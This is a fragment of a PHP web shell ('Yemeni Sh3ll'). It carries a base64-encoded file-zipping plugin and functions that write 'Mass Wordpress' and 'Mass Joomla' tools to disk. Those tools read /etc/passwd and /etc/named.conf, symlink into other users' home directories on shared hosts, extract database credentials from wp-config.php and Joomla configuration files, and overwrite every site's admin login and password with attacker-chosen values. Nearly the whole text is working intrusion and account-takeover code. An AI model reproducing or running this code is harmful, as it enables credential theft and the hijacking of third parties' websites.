b3JhdGlvbjogbm9uZTsNCgliYWNrZ3JvdW5kLWNvbG9yOiMzQTc0QUI7DQoJaGVpZ2h0OjI1
cHg7DQp9DQoudGl0dGxlIHsNCglmb250LXNpemU6IDEycHg7DQoJY29sb3I6ICNGRkZGRkY7
DQoJdGV4dC1kZWNvcmF0aW9uOiBub25lOw0KCWJhY2tncm91bmQtY29sb3I6IzNGNjY4QTsN
Cn0NCi5icl9zcCB7DQoJYm9yZGVyLXRvcC13aWR0aDogMXB4Ow0KCWJvcmRlci10b3Atc3R5
bGU6IGRvdHRlZDsNCglib3JkZXItdG9wLWNvbG9yOiAjMDAzMzY2Ow0KCWNvbG9yOiAjMDAz
MzMzOw0KCXRleHQtZGVjb3JhdGlvbjogbm9uZTsNCglmb250LXNpemU6IDExcHg7DQp9DQou
YnRpdGxlIHsNCgljb2xvcjogI0ZGRkZGRjsNCglmb250LXdlaWdodDogYm9sZDsNCglwYWRk
aW5nOjVweDsNCn0NCi5yb3dkaXIgew0KCWJhY2tncm91bmQtY29sb3I6I0VFRUVFRTsNCglj
b2xvcjojMDAzMzMzOw0KCWZvbnQtd2VpZ2h0OmJvbGQ7DQp9DQoucm93ZmlsZSB7DQoJYmFj
a2dyb3VuZC1jb2xvcjojRkZGRkZGOw0KfQ0KLnJvd2J1dCB7DQoJYmFja2dyb3VuZC1jb2xv
cjojRkZGRkNDOw0KfQ0KLS0+DQo8L3N0eWxlPg0KPC9oZWFkPg0KPGJvZHk+DQo8c2NyaXB0
IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij4NCg0KdmFyIGllNDUsbnM2LG5zNCxkb207DQppZiAo
bmF2aWdhdG9yLmFwcE5hbWU9PSJNaWNyb3NvZnQgSW50ZXJuZXQgRXhwbG9yZXIiKSBpZTQ1
PXBhcnNlSW50KG5hdmlnYXRvci5hcHBWZXJzaW9uKT49NDsNCmVsc2UgaWYgKG5hdmlnYXRv
ci5hcHBOYW1lPT0iTmV0c2NhcGUiKXsgIG5zNj1wYXJzZUludChuYXZpZ2F0b3IuYXBwVmVy
c2lvbik+PTU7ICBuczQ9cGFyc2VJbnQobmF2aWdhdG9yLmFwcFZlcnNpb24pPDU7fQ0KZG9t
PWllNDUgfHwgbnM2Ow0KDQpmdW5jdGlvbiBnZXRvYmooaWQpIHsNCmVsID0gZG9jdW1lbnQu
YWxsID8gZG9jdW1lbnQuYWxsW2lkXSA6ICAgZG9tID8gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5
SWQoaWQpIDogICBkb2N1bWVudC5sYXllcnNbaWRdOw0KcmV0dXJuIGVsOw0KfQ0KDQpmdW5j
dGlvbiBjaGVja2FsbCgpDQoJew0KCQlmb3IgKCBpPTA7aSA8IGRvY3VtZW50LmZpbmZvLmVs
ZW1lbnRzLmxlbmd0aCA7IGkrKyApew0KCQkJaWYgKCBkb2N1bWVudC5maW5mby5hbGwuY2hl
Y2tlZD09dHJ1ZSApew0KCQkJCWRvY3VtZW50LmZpbmZvLmVsZW1lbnRzW2ldLmNoZWNrZWQg
PSB0cnVlOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCWRvY3VtZW50LmZpbmZvLmVsZW1l
bnRzW2ldLmNoZWNrZWQgID0gZmFsc2U7DQoJCQl9DQoJCX0NCgl9DQo8L3NjcmlwdD4NCjx0
YWJsZSB3aWR0aD0iMTAwJSIgYmdjb2xvcj0iIzFFNDc2QSIgYWxpZ249Y2VudGVyIGJvcmRl
cj0wIGNlbGxzcGFjaW5nPTEgY2VsbHBhZGRpbmc9MT4NCgk8dHI+PHRkIGFsaWduPWNlbnRl
ciBjbGFzcz0ibXRpdHRsZSIgdmFsaWduPSJtaWRkbGUiPjxiPlppcCBjb2RlIHBsdWdpbiAt
IHZlciAxLjA8L2I+PC90ZD4NCgk8dGQgYWxpZ249Y2VudGVyIGNsYXNzPSJmdGl0dGxlIj5Q
bHVnIGluICBZZW1lbmkgU2gzbGw8L2E+ICZjb3B5IDIwMTIgPC90ZD48L3RyPg0KPC90YWJs
ZT4NCjxicj4NCjw/IGlmICgkc3RlcCE9MCkgeyA/Pg0KPGJyIC8+DQo8dGFibGUgd2lkdGg9
IjcwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMiIgY2VsbHBhZGRpbmc9IjMiIGFsaWdu
PSJjZW50ZXIiIHN0eWxlPSJib3JkZXI6MXB4ICM2NjY2NjYgc29saWQiPg0KICA8dHI+DQog
ICAgPHRkIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNGRkZGRkYiIGhlaWdodD0iMTAwIj48
c3BhbiBpZD0ic3RhdHVzIj4NCgk8cD48aW1nIHNyYz0iaHR0cDovL25ka3Bob3RvLmNvbS9p
bWFnZXMvd2FpdC5naWYiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgLz4gPGltZyBzcmM9Imh0
dHA6Ly9uZGtwaG90by5jb20vaW1hZ2VzL3dhaXQuZ2lmIiB3aWR0aD0iMzIiIGhlaWdodD0i
MzIiIC8+IDxpbWcgc3JjPSJodHRwOi8vbmRrcGhvdG8uY29tL2ltYWdlcy93YWl0LmdpZiIg
d2lkdGg9IjMyIiBoZWlnaHQ9IjMyIiAvPiA8aW1nIHNyYz0iaHR0cDovL25ka3Bob3RvLmNv
bS9pbWFnZXMvd2FpdC5naWYiIHdpZHRoPSIzMiIgaGVpZ2h0PSIzMiIgLz4gPGltZyBzcmM9
Imh0dHA6Ly9uZGtwaG90by5jb20vaW1hZ2VzL3dhaXQuZ2lmIiB3aWR0aD0iMzIiIGhlaWdo
dD0iMzIiIC8+PC9wPg0KDQogICAgICAgICAgPHA+UHJvY2Vzc2luZyBaaXAgRm9sZGVycyAm
IEZpbGVzIHNlbGVjdGVkIC48L3A+PC9zcGFuPg0KCTwvdGQ+DQogIDwvdHI+DQo8L3RhYmxl
Pg0KPGJyPg0KPD8gfSBlbHNlIHsgPz4NCjxmb3JtIGFjdGlvbj0iP3N0ZXA9MSIgaWQ9ImZp
bmZvIiBuYW1lPSJmaW5mbyIgbWV0aG9kPSJwb3N0Ij4NCjx0YWJsZSB3aWR0aD0iNjAlIiBi
b3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIxIiBjZWxscGFkZGluZz0iMyIgYWxpZ249ImNlbnRl
ciIgc3R5bGU9ImJvcmRlcjoxcHggIzk5OTk5OSBzb2xpZCI+DQo8dHI+DQogICAgPHRkIHN0
eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiMyQjYwODI7IGNvbG9yOiNGRkZGRkY7IHBhZGRpbmc6
NXB4OyIgYWxpZ249ImxlZnQiPjxiPkN1cnJlbnQgZGlyZWN0b3J5IDogPGEgaHJlZj0iP2Rp
cm5hbWU9LiI+WmlwZXI8L2E+IDw/DQoJaWYgKCghZW1wdHkoJGRpcm5hbWUpKSYmKCRkaXJu
YW1lIT0iLiIpKSB7DQoJCSRscGF0aCA9IGV4cGxvZGUoIi8iLCRkaXJuYW1lKTsNCgkJaWYg
KGNvdW50KCRscGF0aCk+MSkgZWNobyAiLSA8YSBocmVmPSc/ZGlybmFtZT17JGxwYXRoWzBd
fSc+eyRscGF0aFswXX08L2E+IjsNCgl9DQoJPz48L2I+PC90ZD4NCiAgPC90cj4NCjw/DQpm
b3IgKCRpPTA7JGk8Y291bnQoJGN1cnJlbnRkaXIpOyRpKyspIHsNCgkkZW50cnkgPSAkY3Vy
cmVudGRpclskaV07DQoJaWYgKCFpc19kaXIoJGVudHJ5KSkgew0KCQkkY2xhc3M9InJvd2Zp
bGUiOw0KCQkkbmFtZSA9ICRlbnRyeTsJDQoJfSBlbHNlIHsNCgkJJGNsYXNzPSJyb3dkaXIi
Ow0KCQkkbmFtZSA9ICI8YSBocmVmPSc/ZGlybmFtZT17JGVudHJ5fSc+eyRlbnRyeX08L2E+
IjsNCi8vCQkkbmFtZSA9ICRlbnRyeTsJDQoJCX0NCj8+DQogIDx0cj4NCiAgICA8dGQgYWxp
Z249ImxlZnQiIGNsYXNzPSI8Pz0kY2xhc3M/PiI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBu
YW1lPSJ6ZGlyW10iIHZhbHVlPSI8Pz0kZW50cnk/PiIgLz4mbmJzcDs8Pz0kbmFtZT8+PC90
ZD4NCiAgPC90cj4NCjw/IH0gPz4NCjx0cj4NCiAgICA8dGQgYWxpZ249ImxlZnQiIHN0eWxl
PSJiYWNrZ3JvdW5kLWNvbG9yOiMyQjYwODI7IGNvbG9yOiNGRkZGRkYiPjxpbnB1dCB0eXBl
PSJjaGVja2JveCIgbmFtZT0iYWxsIm9uY2xpY2s9ImphdmFzY3JpcHQ6Y2hlY2thbGwoKTsi
IC8+Jm5ic3A7U2VsZWN0IGFsbDwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPGJyIC8+DQo8
dGFibGUgd2lkdGg9IjYwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMSIgY2VsbHBhZGRp
bmc9IjMiIGFsaWduPSJjZW50ZXIiIGJnY29sb3I9IiNGRkZGRkYiIHN0eWxlPSJib3JkZXI6
MXB4ICM5OTk5OTkgc29saWQiPg0KPHRyPg0KICAgIDx0ZD5GaWxlIG5hbWUgOiA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iZmlsZW5hbWUiIHZhbHVlPSJ6aXBlciIgc2l6ZT0iNDAiIC8+
LnppcDwvdGQ+DQoJPHRkIGFsaWduPSJyaWdodCI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFt
ZT0ic3VibWl0IiB2YWx1ZT0iJm5ic3A7Jm5ic3A7Jm5ic3A7U3RhcnQmbmJzcDsmbmJzcDsm
bmJzcDsiIC8+PC90ZD4NCiAgPC90cj4NCjwvdGFibGU+DQo8L2Zvcm0+DQo8PyB9ID8+DQo8
YnI+DQo8dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNl
bGxwYWRkaW5nPSIwIj4NCiAgPHRyPg0KICAgIDx0ZCB3aWR0aD0iMjAwIiBhbGlnbj0iY2Vu
dGVyIiBiZ2NvbG9yPSIjM0E3NEFCIj48YSBocmVmPSJTT0RtdC5waHAiIGNsYXNzPSJidGl0
bGUiPlllbWVuaSBTaDNsbDwvYT48L3RkPg0KICAgIDx0ZCBhbGlnbj0iY2VudGVyIiBiZ2Nv
bG9yPSIjMkI2MDgyIiBjbGFzcz0iYnRpdGxlIj4mY29weSAyMDExIFllbWVuaSBTSDNMTCA8
L3RkPg0KICA8L3RyPg0KPC90YWJsZT4NCjxicj4NCjwvYm9keT4NCjwvaHRtbD4NCjw/DQpp
ZiAoJHN0ZXA9PTEpIHsNCgkkemRpciA9ICRfUE9TVFsnemRpciddOw0KCWlmIChjb3VudCgk
emRpcik+MCkgew0KCQkkZGlyYXJyYXk9YXJyYXkoKTsNCgkJJGRpcnNpemU9MDsNCgkJJHpk
aXJzaXplPTA7DQoJCWZvciAoJGk9MDskaTxjb3VudCgkemRpcik7JGkrKykgew0KCQkJJGZm
aWxlID0gJHpkaXJbJGldOw0KCQkJaWYgKGlzX2RpcigkZmZpbGUpKSB7DQoJCQkJZ2V0ZGly
KCRmZmlsZSk7DQoJCQl9IGVsc2Ugew0KCQkJCWlmICgkZnNpemU9QGZpbGVzaXplKCRmZmls
ZSkpICR6ZGlyc2l6ZSs9JGZzaXplOw0KCQkJfQ0KCQl9DQoJCSR6ZGlyc2l6ZSs9JGRpcnNp
emU7DQoJCWZvciAoJGk9MDskaTxjb3VudCgkZGlyYXJyYXkpOyRpKyspIHsNCgkJCSR6ZGly
W10gPSAkZGlyYXJyYXlbJGldOw0KCQl9DQoJCWlmICghQGlzX2RpcigkY29uZlsnZGlyJ10p
KSB7DQoJCQkkcmVzID0gQG1rZGlyKCRjb25mWydkaXInXSwwNzc3KTsNCgkJCWlmICghJHJl
cykgJHR4dG91dCA9ICJDYW5ub3QgY3JlYXRlIGRpciAhPGJyPiI7DQoJCX0gZWxzZSBAY2ht
b2QoJGNvbmZbJ2RpciddLDA3NzcpOw0KCQ0KCQkkemlwbmFtZSA9ICRfUE9TVFsnZmlsZW5h
bWUnXTsNCgkJJHppcG5hbWU9c3RyX3JlcGxhY2UoIi8iLCIiLCR6aXBuYW1lKTsNCgkJaWYg
KGVtcHR5KCR6aXBuYW1lKSkgJHppcG5hbWU9Ik5ES3ppcCI7DQoJCSR6aXBuYW1lLj0iLnpp
cCI7DQoJCQ0KCQkkemlwZXIgPSBuZXcgemlwZmlsZSgpOw0KCQkkemlwZXItPmFkZEZpbGVz
KCR6ZGlyKTsNCgkJJHppcGVyLT5vdXRwdXQoInskY29uZlsnZGlyJ119L3skemlwbmFtZX0i
KTsNCgkJDQoJCWlmICgkZnNpemU9QGZpbGVzaXplKCJ7JGNvbmZbJ2RpciddfS97JHppcG5h
bWV9IikpICR6aXBzaXplPSRmc2l6ZTsNCgkJZWxzZSAkemlwc2l6ZT0wOw0KCQkNCgkJJHpk
aXJzaXplID0gc2l6ZV9mb3JtYXQoJHpkaXJzaXplKTsNCgkJJHppcHNpemUgPSBzaXplX2Zv
cm1hdCgkemlwc2l6ZSk7DQoJCT8+DQoJCTxzY3JpcHQgbGFuZ3VhZ2U9ImphdmFzY3JpcHQi
PmdldG9iaignc3RhdHVzJykuaW5uZXJIVE1MPSI8cD48Yj5aaXAgc3VjY2Vzc2Z1bCAhPC9i
PjwvcD48cD5Eb3dubG9hZCA6IDxhIGhyZWY9Jzw/PSRjb25mWydkaXInXT8+Lzw/PSR6aXBu
YW1lPz4nPjw/PSR6aXBuYW1lPz48L2E+PC9wPjxwPk9yaWdpbmFsIHNpemUgOiA8Pz0kemRp
cnNpemU/PiAmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJz
cDsmbmJzcDsgWmlwIHNpemUgOiA8Pz0kemlwc2l6ZT8+PC9wPiI7PC9zY3JpcHQ+DQoJCTw/
DQoJfSBlbHNlIHsNCgkJPz48c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0Ij5nZXRvYmoo
J3N0YXR1cycpLmlubmVySFRNTD0iTm8gZmlsZSBvciBmb2xkZXIgc2VsZWN0ZWQgISI7PC9z
Y3JpcHQ+PD8NCgl9DQp9DQo/Pg==
';

$file = fopen("zip.php" ,"w+");
$write = fwrite ($file ,base64_decode($zip1));
fclose($file);
echo '<iframe src="zip.php" style="height:500px; width:1500px; border:0px;" name="zip">';
yemenfooter();

}
function yemenwp()
{
   yemenhead();
$wp1 = '<?php





set_time_limit(0);
error_reporting(0);


$pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = explode("/",$pageURL );
$pageURL =str_replace($u[count($u)-1],"",$pageURL );

$pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
$u = explode("/",$pageFTP );
$pageFTP =str_replace($u[count($u)-1],"",$pageFTP );

?>
  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>Mass Wordpress & Joomla</title>

<style type="text/css">

  html,body {
     margin: 0;
     padding: 0;
     outline: 0;
}
a{

 font-size: 13px;

}


body {
    direction: ltr;
    background-color:#F4F4F4;
	color: rgb(153, 153, 153);
    text-align: center
}



input,textarea,select{
font-weight: bold;
color: #000000;
}

input,textarea,select:hover{
box-shadow: 0px 0px 4px #AAAAAA;
}


.hedr {
  font-family: Tahoma, Arial, sans-serif  ;
  font-size: 22px;


}

.cont a{

 text-decoration: none;
 color:rgb(153, 153, 153);
 font-family: Tahoma, Arial, sans-serif  ;
 font-size: 16px;
 text-shadow: 0px 0px 3px ;
}

.cont a:hover{


  color: #EEEEEE ;
  text-shadow:0px 0px 3px #000000 ;


}

.tmp tr td{

border: solid 1px #BBBBBB;

padding: 2px ;
  font-size: 13px;
}

.tmp tr td a {
  text-decoration: none;



}

.foter{
  font-size: 9pt;
  color: #AAAAAA ;
  text-align: center
}

.tmp tr td:hover{

box-shadow: 0px 0px 4px #888888;

}
.fot{

font-family:Tahoma, Arial, sans-serif;

  font-size: 11pt;
}
.for a : hover{

text-shadow: 0px 0px 1px #3366FF;

}


.ir {
  color: #FF0000;
}



</style>

</head>

<body style="background-color: #000000">


<div class='all'>


<?php





echo '<div class="cont">




 <a href="?blackr00t=wp"> Mass Wordpress  Sh3ll </a>



<br /><br /><br />






</div>';

if(isset($_REQUEST['blackr00t']))
{

switch ($_REQUEST['blackr00t'])
{








/// bypass read

case 'read':

echo "read /etc/named.conf";
echo "<br /><br /><form method='post' action='?webr00t=read&save=1'><textarea cols='80' rows='20' name='file'>";
flush();
flush();


$file = '/etc/named.conf';


$r3ad = @fopen($file, 'r');
if ($r3ad){
$content = @fread($r3ad, @filesize($file));
echo "".htmlentities($content)."";
}
else if (!$r3ad)
{
$r3ad = @show_source($file) ;
}
else if (!$r3ad)
{
$r3ad = @highlight_file($file);
}
else if (!$r3ad)
{
$sm = @symlink($file,'sym.txt');


if ($sm){
$r3ad = @fopen('sym/sym.txt', 'r');
$content = @fread($r3ad, @filesize($file));
echo "".htmlentities($content)."";

}
}



echo "</textarea><br /><br /><input  type='submit' value='Save'/> </form>";


if(isset($_GET['save'])){


$cont = stripcslashes($_POST['file']);

$f = fopen('named.txt','w');

$w = fwrite($f,$cont);

                  if($w){

                  echo '<br />save has been successfully';

                  }

fclose($f);




}



break;

// passwd

case 'passwd':

if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){


$cont = stripcslashes($_POST['file']);

if(!file_exists('passwd.txt')){

$f = @fopen('passwd.txt','w');

$w = @fwrite($f,$cont);

fclose($f);
}
if($w or @filesize('passwd.txt') > 0){
// * SHOW * //

echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
flush();

$fil3 = file('passwd.txt');

foreach ($fil3 as $f){

     $u=explode(':', $f);
     $user = $u['0'];



echo "
<tr>



<td width='15%'>
$user
</td>






<td width='10%'>
<a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a>
</td>

<td width='10%'>
<a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a>
</td>



</tr></div> ";


flush();
flush();


}






die ("</tr></div>");


                  }





}



echo "read /etc/passwd";
echo "<br /><br /><form method='post' action='?webr00t=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
flush();

$file = '/etc/passwd';


$r3ad = @fopen($file, 'r');
if ($r3ad){
$content = @fread($r3ad, @filesize($file));
echo "".htmlentities($content)."";
}
elseif(!$r3ad)
{
$r3ad = @show_source($file) ;
}
elseif(!$r3ad)
{
$r3ad = @highlight_file($file);
}
elseif(!$r3ad)
{

                                            for($uid=0;$uid<1000;$uid++){
                                             $ara = posix_getpwuid($uid);
                                               if (!empty($ara)) {
                                                  while (list ($key, $val) = each($ara)){
                                                    print "$val:";
                                                  }
                                                  print "\n";
                                                 }

                                        }

 }


flush();


echo "</textarea><br /><br /><input  type='submit' value='&nbsp;&nbsp;symlink&nbsp;&nbsp;'/> </form>";
flush();

break;





case 'wp':

############################ index #########################3






########  admin ##########33

if(isset($_POST['s'])){

$file = @file_get_contents('wp.txt');

$ex   = explode("\n",$file);

echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
flush();
flush();


foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).'';

$readconfig  = @file_get_contents(trim($config));

if(ereg('wp-settings.php',$readconfig)){



$pass    =  ex($readconfig,"define('DB_PASSWORD', '","');");

$userdb  =  ex($readconfig,"define('DB_USER', '","');");

$db      =  ex($readconfig,"define('DB_NAME', '","');");

$fix     =  ex($readconfig,'$table_prefix  = \'',"';");

$tab     = $fix.'users';

$con     = @mysql_connect('localhost',$userdb,$pass);

$db      = @mysql_select_db($db,$con);

$query   = @mysql_query("UPDATE `$tab` SET `user_login` ='sec-w.com'") or die;

$query   = @mysql_query("UPDATE `$tab` SET `user_pass` ='$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;



if ($query){$r = '<b style="color: #006600">Succeed </b>user [BLACK.JaGuAr] pass [1]</b>';}

else

{

$r = '<b style="color:red">failed</b>';

}

$domins = trim($domin).'';

echo "<tr>
<td><a target='_blank' href='http://$domins'>$domin</a></td>
<td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";

flush();
flush();






}else{

echo "<tr>
<td><a target='_blank' href='http://$domins'>$domin</a></td>
<td><a target='_blank' href='http://$config'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";

flush();
flush();

}

}










die();

}

if(!is_file('named.txt')){

$d00m = @file("/etc/named.conf");

}else{

$d00m = @file("named.txt");


}
if(!$d00m)
{

                die ("<meta http-equiv='refresh' content='0; url=?webr00t=read'/>");
}
else

{
echo "<div class='tmp'>
<form method='POST' action='$pg?webr00t=wp'>
<input type='submit' value='Mass Change Admin' />
<input type='hidden' value='1' name='s' />
</form>
<br /><br />
<table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";

flush();
flush();

$f = fopen('wp.txt','w');

foreach($d00m as $dom){

if(eregi("zone",$dom)){

preg_match_all('#zone "(.*)"#', $dom, $domsws);

if(strlen(trim($domsws[1][0])) > 2){

$user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));

///////////////////////////////////////////////////////////////////////////////////

$wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
$wpp=get_headers($wpl);
$wp=$wpp[0];

$wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
$wpp2=get_headers($wp2);
$wp12=$wpp2[0];

$wp3=$pageURL."/sym/root/home/".$user['name']."/public_html/wp/wp-config";
$wpp3=get_headers($wp3);
$wp13=$wpp3[0];


 ////////// wp ////////////

$pos = strpos($wp, "200");
$config="&nbsp;";

if (strpos($wp, "200") == true )
{
 $config= $wpl;
}
elseif (strpos($wp12, "200") == true)
{
  $config= $wp2;
}
elseif (strpos($wp13, "200") == true)
{
  $config= $wp3;
}
else
{
continue;

}
flush();

/////////////////////////////////////////////////////////////////////////////////////

$dom = $domsws[1][0];

$w = fwrite($f,"$config||$dom \n");
if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}


echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
<td><a href='$config'>config</a></td><td>".$r."</td></tr>";
flush();
flush();





flush();


}
}
}
}


break;








}


/// home ///
}else
{


echo '';
echo '';
 {
	


}

    echo '
<br /><br /><br /></b></b><div class="fot"> <b></b>  <b></b>
<br /><br />

<br /><br />
</div> ';

}


function ex($text,$a,$b){
$explode = explode($a,$text);
$explode = explode($b,$explode[1]);
return $explode[0];
}



echo '</div>





</body>

</html>
';

?>';

$file = fopen("wp.php" ,"w+");
$write = fwrite ($file ,base64_decode($wp1));
fclose($file);
echo '<iframe src="wp.php" style="height:500px; width:1500px; border:0px;" name="Mass">';
yemenfooter();
}
 
 function yemenjoom()
{
   yemenhead();
$joom1 = '<?php





set_time_limit(0);
error_reporting(0);


$pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
$u = explode("/",$pageURL );
$pageURL =str_replace($u[count($u)-1],"",$pageURL );

$pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
$u = explode("/",$pageFTP );
$pageFTP =str_replace($u[count($u)-1],"",$pageFTP );

?>
  <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">

<head>
<title>Mass Joomla</title>

<style type="text/css">

  html,body {
     margin: 0;
     padding: 0;
     outline: 0;
}
a{

 font-size: 13px;

}


body {
    direction: ltr;
    background-color:#F4F4F4;
	color: rgb(153, 153, 153);
    text-align: center
}



input,textarea,select{
font-weight: bold;
color: #000000;
}

input,textarea,select:hover{
box-shadow: 0px 0px 4px #AAAAAA;
}


.hedr {
  font-family: Tahoma, Arial, sans-serif  ;
  font-size: 22px;


}

.cont a{

 text-decoration: none;
 color:rgb(153, 153, 153);
 font-family: Tahoma, Arial, sans-serif  ;
 font-size: 16px;
 text-shadow: 0px 0px 3px ;
}

.cont a:hover{


  color: #EEEEEE ;
  text-shadow:0px 0px 3px #000000 ;


}

.tmp tr td{

border: solid 1px #BBBBBB;

padding: 2px ;
  font-size: 13px;
}

.tmp tr td a {
  text-decoration: none;



}

.foter{
  font-size: 9pt;
  color: #AAAAAA ;
  text-align: center
}

.tmp tr td:hover{

box-shadow: 0px 0px 4px #888888;

}
.fot{

font-family:Tahoma, Arial, sans-serif;

  font-size: 11pt;
}
.for a : hover{

text-shadow: 0px 0px 1px #3366FF;

}


.ir {
  color: #FF0000;
}



</style>

</head>

<body style="background-color: #000000">


<div class='all'>


<?php





echo '<div class="cont">


 <a href="?blackr00t=joom"> Mass Joomla Sh3ll </a>





<br /><br /><br />






</div>';

if(isset($_REQUEST['blackr00t']))
{

switch ($_REQUEST['blackr00t'])
{








/// bypass read

case 'read':

echo "read /etc/named.conf";
echo "<br /><br /><form method='post' action='?webr00t=read&save=1'><textarea cols='80' rows='20' name='file'>";
flush();
flush();


$file = '/etc/named.conf';


$r3ad = @fopen($file, 'r');
if ($r3ad){
$content = @fread($r3ad, @filesize($file));
echo "".htmlentities($content)."";
}
else if (!$r3ad)
{
$r3ad = @show_source($file) ;
}
else if (!$r3ad)
{
$r3ad = @highlight_file($file);
}
else if (!$r3ad)
{
$sm = @symlink($file,'sym.txt');


if ($sm){
$r3ad = @fopen('sym/sym.txt', 'r');
$content = @fread($r3ad, @filesize($file));
echo "".htmlentities($content)."";

}
}



echo "</textarea><br /><br /><input  type='submit' value='Save'/> </form>";


if(isset($_GET['save'])){


$cont = stripcslashes($_POST['file']);

$f = fopen('named.txt','w');

$w = fwrite($f,$cont);

                  if($w){

                  echo '<br />save has been successfully';

                  }

fclose($f);




}



break;

// passwd

case 'passwd':

if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){


$cont = stripcslashes($_POST['file']);

if(!file_exists('passwd.txt')){

$f = @fopen('passwd.txt','w');

$w = @fwrite($f,$cont);

fclose($f);
}
if($w or @filesize('passwd.txt') > 0){
// * SHOW * //

echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
flush();

$fil3 = file('passwd.txt');

foreach ($fil3 as $f){

     $u=explode(':', $f);
     $user = $u['0'];



echo "
<tr>



<td width='15%'>
$user
</td>






<td width='10%'>
<a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a>
</td>

<td width='10%'>
<a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a>
</td>



</tr></div> ";


flush();
flush();


}






die ("</tr></div>");


                  }





}



echo "read /etc/passwd";
echo "<br /><br /><form method='post' action='?webr00t=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
flush();

$file = '/etc/passwd';


$r3ad = @fopen($file, 'r');
if ($r3ad){
$content = @fread($r3ad, @filesize($file));
echo "".htmlentities($content)."";
}
elseif(!$r3ad)
{
$r3ad = @show_source($file) ;
}
elseif(!$r3ad)
{
$r3ad = @highlight_file($file);
}
elseif(!$r3ad)
{

                                            for($uid=0;$uid<1000;$uid++){
                                             $ara = posix_getpwuid($uid);
                                               if (!empty($ara)) {
                                                  while (list ($key, $val) = each($ara)){
                                                    print "$val:";
                                                  }
                                                  print "\n";
                                                 }

                                        }

 }


flush();


echo "</textarea><br /><br /><input  type='submit' value='&nbsp;&nbsp;symlink&nbsp;&nbsp;'/> </form>";
flush();

break;



case 'joom':

/////////////////////////////////////////////////////////////////// xxxxxxxxxxxxxxxxxxx ////////////////////////////


if(isset($_POST['s'])){

$file = @file_get_contents('joomla.txt');

$ex   = explode("\n",$file);

echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
flush();


foreach ($ex as $exp){

$es   = explode("||",$exp);

$config = $es[0];

$domin = $es[1];

$domins = trim($domin).'';

$readconfig  = @file_get_contents(trim($config));

if(ereg('JConfig',$readconfig)){



$pass    =  ex($readconfig,'$password = \'',"';");

$userdb  =  ex($readconfig,'$user = \'',"';");

$db      =  ex($readconfig,'$db = \'',"';");

$fix     =  ex($readconfig,'$dbprefix = \'',"';");

$tab     =  $fix.'users';


$con     = @mysql_connect('localhost',$userdb,$pass);

$db      = @mysql_select_db($db,$con);

$query   = @mysql_query("UPDATE `$tab`  SET `username` ='sec-w.com'");


$query3  = @mysql_query("UPDATE `$tab`  SET `password` ='44a0bcda611514625ba94e0b1c0bdaed:2iets9ydjR3iOdSuyvW54pIzyF9M1P5J'");


if ($query and $query3 ){$r = '<b style="color: #006600">Succeed </b>user [BLACK.JaGuAr] pass [1]</b>';}else{$r = '<b style="color:red">failed</b>';}

$domins = trim($domin).'';

echo "<tr>
<td><a target='_blank' href='http://$domins'>$domin</a></td>
<td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";
flush();



}else{

echo "<tr>
<td><a target='_blank' href='http://$domins'>$domin</a></td>
<td><a target='_blank' href='http://$exp'>config</a></td><td><b style='color:red'>failed</b></td></tr>";
flush();

}

}









die();

}

if(!is_file('named.txt')){

$d00m = @file("/etc/named.conf");

flush();


}else{

$d00m = file("named.txt");


}
